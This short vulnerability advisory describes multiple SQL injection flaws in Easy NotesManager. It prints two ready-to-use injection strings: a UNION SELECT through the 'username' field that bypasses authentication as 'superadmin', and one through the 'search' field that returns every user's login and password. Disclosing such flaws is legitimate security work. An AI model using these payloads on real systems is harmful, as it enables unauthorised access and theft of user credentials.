|
Easy NotesManager Multiple SQL Injection Vulnerabilities
Attackers can exploit these issues via a web client. Supplying the following to the 'username' field is sufficient to bypass authentication: dontcare' and 0=1 union select id,login,'0cc175b9c0f1b6a831c399e269772661',grp,salutation,firstname,lastname,email from users where login='superadmin Supplying the following to the 'search' field will return a list of all users and passwords: dontcare')) union select 0,login,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0 from users -- |
|
|
Privacy Statement |
